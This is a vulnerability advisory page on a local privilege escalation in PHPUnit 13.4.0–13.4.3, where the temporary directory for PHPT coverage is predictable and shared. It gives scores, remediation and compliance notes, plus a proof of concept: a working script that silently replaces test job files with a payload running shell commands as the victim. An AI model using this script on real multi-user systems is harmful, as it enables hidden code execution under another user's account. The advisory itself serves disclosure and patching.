Sebastianbergmann Phpunit: Creation of Temporary File in Directory with Insecure Permissions (CVE-2026-119193)
Published Last modified Sources: OSV, Hersteller, CVE.org
What is affected, what to do
Update phpunit/phpunit to version 13.4.4.
- Affected
- Sebastianbergmann Phpunit
gte 13.4.0, < 13.4.4..*
- Sebastianbergmann Phpunit
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
5.4
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v4
5.4
CVSS v4
Severity Medium on the scale from 0 to 10.
Source: OSV, Hersteller, CVE.org
0.1 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 1.4
Show all metrics
- Severity
- Medium
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 57.02 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 5.4 Methodology
CVSS v4
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 5.4
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.1 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 1.4
- Low — this CVE sits in the lower 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
- CISA assessment (SSVC)
- Exploitation: none known · not automatable · Technical impact: total
- Source: CISA Vulnrichment, as of 30 October 2026
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-379
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
When PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance /tmp/phpunit-phpt on Linux, and executes it from there. PHPUnit uses this directory even when it was created by another user.
On a system where the path used for temporary files is shared between users, another local user can create this directory before the developer runs PHPUnit, replace the code of a PHPT test before it is executed, and thereby execute arbitrary code with the privileges of the developer. The test still passes and the code coverage report is complete, so the attack is not visible.
The impact is full code execution as the user who runs PHPUnit. The likelihood is low: the attacker needs an account on the same system and must create the directory before the developer runs PHPT tests with code coverage. macOS and Windows use per-user temporary directories by default and are not affected in their default configuration. PHPUnit 12.5 and earlier are not affected.
Details
When code coverage is collected for a PHPT test, PHPUnit writes two temporary files: a .php file with the code of the PHPT test (the "job" file), which the child process executes, and a .coverage file, to which the child process writes the code coverage data it collected.
Since PHPUnit 13.4.0, these files are created in a directory with a fixed name:
TestCase::coverageFilesDirectory()returnssys_get_temp_dir() . '/phpunit-phpt'- The constructor names the files
phpunit_phpt_<random>.phpandphpunit_phpt_<random>.coveragein this directory
Before a PHPT test is run with code coverage, this directory is created using Filesystem::createDirectory(). Filesystem::createDirectory() returns true when the directory already exists, without checking its owner or its permissions. When it does not exist, it is created with mode 0777 (subject to the umask).
Renderer::renderForCoverage() then writes the job file using file_put_contents(). The child process loads Composer's autoloader, the bootstrap script, and the code coverage driver, and then executes the job file using require.
When another user created the directory, that user owns it. The owner of a directory can list its contents and rename, delete, or replace every file in it, regardless of who owns the file. The directory does not have the sticky bit set, so protections such as Linux's fs.protected_regular and fs.protected_symlinks do not apply either. The random part of the file names therefore does not prevent the attack: the attacker waits for the job file to appear, renames it, and puts a file with their own code in its place. The attacker's code can then execute the original job file, so that the test passes and the code coverage report is complete.
The .coverage file can be replaced in the same way. TestCase::cleanupForCoverage() only allows objects of PHPUnit's class for raw code coverage data to be unserialized from it, so this only allows the falsification of code coverage data.
After the test, PHPUnit deletes both files, but not the directory. Once PHPUnit has created the directory for the developer, other users cannot write to it, unless the developer's umask allows this.
PHPUnit 12.5 and earlier are not affected: these versions write the temporary files next to the PHPT test file.
PHPUnit 13.4.4 creates the directory for the temporary files of PHPT tests with an unpredictable name and with permissions that only allow the current user to access it. A directory that already exists is not used.
Proof of concept
The following steps reproduce the issue on a Linux system with two users, alice (the developer) and mallory (the attacker), that share /tmp. They require PHP 8.4.1 or later with the posix extension and a code coverage driver (PCOV or Xdebug) as well as Composer.
-
As
root, create the two users and make sure that/tmphas its default permissions (1777) and that/tmp/phpunit-phptdoes not exist:useradd -m alice useradd -m mallory ls -ld /tmp rm -rf /tmp/phpunit-phpt -
As
alice, create a project with a PHPT test and a source file to collect code coverage for:mkdir -p ~/project/src ~/project/tests cd ~/project composer require --dev phpunit/phpunit:13.4.3~/project/src/Greeter.php:<?php declare(strict_types=1); final class Greeter { public function greet(): string { return 'ok'; } }~/project/tests/greeter.phpt:--TEST-- PHPT test that is run with code coverage --FILE-- <?php declare(strict_types=1); require __DIR__ . '/../src/Greeter.php'; print (new Greeter)->greet(); --EXPECT-- ok~/project/phpunit.xml:<?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"> <source> <include> <directory>src</directory> </include> </source> </phpunit> -
As
mallory, save the following script as~/attack.phpand run it usingphp ~/attack.php. It creates/tmp/phpunit-phpt, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:<?php declare(strict_types=1); $directory = '/tmp/phpunit-phpt'; if (!@mkdir($directory)) { exit($directory . ' already exists' . PHP_EOL); } chmod($directory, 0777); $payload = '<?php file_put_contents(__DIR__ . "/proof.txt", shell_exec("id"), FILE_APPEND); require __FILE__ . ".orig";' . PHP_EOL; $replaced = []; while (true) { foreach (glob($directory . '/phpunit_phpt_*.php') as $job) { if (isset($replaced[$job])) { continue; } $replaced[$job] = true; file_put_contents($directory . '/payload.tmp', $payload); rename($job, $job . '.orig'); rename($directory . '/payload.tmp', $job); print 'Replaced ' . $job . PHP_EOL; } usleep(1000); } -
As
alice, run the PHPT test with code coverage (when Xdebug is used, prefix the command withXDEBUG_MODE=coverage):cd ~/project vendor/bin/phpunit --coverage-text tests/greeter.phptPHPUnit reports
OK (1 test, 1 assertion), and the code coverage report shows thatGreeter::greet()is covered. Nothing in the output indicates that the code of the test was replaced. -
Check which user executed the code that
malloryput in place:cat /tmp/phpunit-phpt/proof.txtThe file is owned by
aliceand contains the output ofidforalice, for instance:uid=1000(alice) gid=1000(alice) groups=1000(alice)
Impact
This is a local privilege escalation (CWE-379: Creation of Temporary File in Directory with Incorrect Permissions). A local user can execute arbitrary code with the privileges of another user who runs PHPT tests with code coverage. This gives the attacker access to everythi
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| sebastianbergmann | phpunit |
|
|
| composer | phpunit/phpunit |
|
|
| packagist | phpunit/phpunit |
|
|
Vendors and products
Weakness classes (CWE)
CWE-379Creation of Temporary File in Directory with Insecure Permissions
Base
The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.
Entry at MITRE CWE-379
References & sources
- github.comsebastianbergmann/phpunit/commit/ae31c78a86e9d6c641497bacf47462…x_refsource_MISC, web
- github.comsebastianbergmann/phpunit/releases/tag/13.4.4x_refsource_MISC, web
- github.comsebastianbergmann/phpunit/security/advisories/GHSA-9vw2-f4vp-x7…x_refsource_CONFIRM, web
- NVD (NIST)vuln/detail/CVE-2026-119193advisory
- github.comFriendsOfPHP/security-advisories/blob/master/phpunit/phpunit/CV…web
- github.comsebastianbergmann/phpunitpackage
Changes to this CVE
Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).
Record modifiedCISA ADP
CISA assessment (SSVC): exploitation: none known, automatable: no
Show the original change
Individual changes of this event as published by NVD Type Action Before After SSVC assessment added —{"id":"CVE-2026-119193","role":"CISA Coordinator","options":[{"exploitation":"none"},{"automatable":"no"},{"technicalImpact":"total"}],"version":"2.0.3","timestamp":"2026-10-30T15:34:44.219252Z"}Source identifier: 134c704f-9b21-4f2e-91b3-4a467353bcc0
ReceivedGitHub
CVSS V4.0: AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness type: CWE-379
Description added or changed
Show 7 original changes
Individual changes of this event as published by NVD Type Action Before After Description added —PHPUnit is a testing framework for PHP. From 13.4.0 until 13.4.4, the TestCase::coverageFilesDirectory() logic in src/Runner/Phpt/TestCase.php creates temporary files for PHPT code coverage in a predictable phpunit-phpt directory under sys_get_temp_dir() and reuses that directory without verifying its ownership or permissions. On multi-user systems with a shared temporary path, a local attacker who creates the directory before the developer runs PHPT tests with code coverage can replace the generated job file before the child process executes it with require, allowing arbitrary code execution with the developer's privileges while the test and coverage report appear successful. PHPUnit 12.5 and earlier, default macOS and Windows configurations with per-user temporary directories, and single-user environments where another user cannot create files in the temporary path are not affected. This issue is fixed in 13.4.4.CVSS added —AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XWeakness type (CWE) added —CWE-379Affected versions (publisher) added —New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/119xxx/CVE-2026-119193.json">CVE-2026-119193</a>Reference added —https://github.com/sebastianbergmann/phpunit/commit/ae31c78a86e9d6c641497bacf47462d7bb7d7f34Reference added —https://github.com/sebastianbergmann/phpunit/releases/tag/13.4.4Reference added —https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-9vw2-f4vp-x7gfSource identifier: security-advisories@github.com
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-119193"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-119193.svg?lang=en" alt="CVE-2026-119193 – NEOSEC Intel" height="20"></a>